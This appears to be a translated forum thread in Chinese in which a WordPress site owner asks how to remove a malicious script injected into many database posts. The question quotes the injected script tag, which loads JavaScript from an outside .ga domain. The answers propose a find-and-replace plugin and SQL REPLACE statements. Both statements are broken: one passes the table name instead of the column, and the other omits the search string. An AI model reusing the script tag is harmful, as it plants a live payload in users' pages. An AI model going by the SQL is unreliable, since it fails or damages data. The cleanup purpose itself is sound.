如何从站点的sql数据库中删除病毒?

问题描述

昨天,我在我的网站上感染了病毒,在删除了index.PHP中的恶意代码后,我在网站的许多帖子数据库中找到了相同的代码,我也无法从所有帖子数据库中手动删除代码,因为同样如此很多,我如何从数据库删除它们?

<script type=’text/javascript’ src=’https://js.donatelloflowfirstly.ga/stats.js?n=nb5′></script>

解决方法

简单的解决方案是使用此插件: https://wordpress.org/plugins/real-time-find-and-replace/

搜索要删除的脚本代码,然后将其替换为空值,该插件将在整个数据库中进行搜索,并会为您代劳。

尝试一下,让我知道。

,

尝试一下

UPDATE `table_name` SET column_name = REPLACE (table_name,"<script type=’text/javascript’ src=’https://js.donatelloflowfirstly.ga/stats.js?n=nb5′></script>"," ");

以人类语言,您要搜索特定的表(table_name),设置特定的列(column_name),然后将脚本的所有实例替换为空字符串“”

大多数此类注入通常位于wp_posts文件夹中,因此这里是一个示例。

UPDATE `wp_posts` SET post_content = REPLACE (wp_posts," ");